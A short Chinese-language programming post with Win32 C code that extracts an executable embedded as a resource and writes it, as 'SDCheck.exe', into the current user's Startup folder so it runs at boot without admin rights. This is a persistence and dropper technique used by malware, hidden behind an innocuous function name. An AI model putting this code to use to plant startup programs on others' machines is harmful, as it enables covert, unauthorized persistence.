思路:无需管理员权限,把需要的开机自启动exe释放到用户启动项即可。
释放资源到本地
BOOL ReleaseRes(char * strFileName, WORD wResID, char * strFileType)
{
DWORD dwWrite=0;
// 创建文件
HANDLE hFile = CreateFile(strFileName, GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if ( hFile == INVALID_HANDLE_VALUE )
{
return FALSE;
}
// 查找资源文件中、加载资源到内存、得到资源大小
HRSRC hrsc = FindResource(NULL, MAKEINTRESOURCE(wResID), strFileType);
HGLOBAL hG = LoadResource(NULL, hrsc);
DWORD dwSize = SizeofResource( NULL, hrsc);
if (!(hrsc&&hG&&dwSize))
{
return FALSE;
}
// 写入文件
WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
CloseHandle( hFile );
return TRUE;
}
void AddNotificationIcon()
{
char szFilePath[MAX_PATH + 1];
GetEnvironmentVariable("UserProfile", szFilePath, sizeof(szFilePath)/ sizeof(TCHAR));
OutputDebugString("GetEnvironmentVariable file\r\n\r\n");
char *lpUsePath = "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SDCheck.exe";
strcat(szFilePath, lpUsePath);
OutputDebugString((char *)szFilePath);
//把exe中dll资源导出到本地文件下
ReleaseRes((char *)szFilePath, (WORD)IDR_EXE1, "exe");
}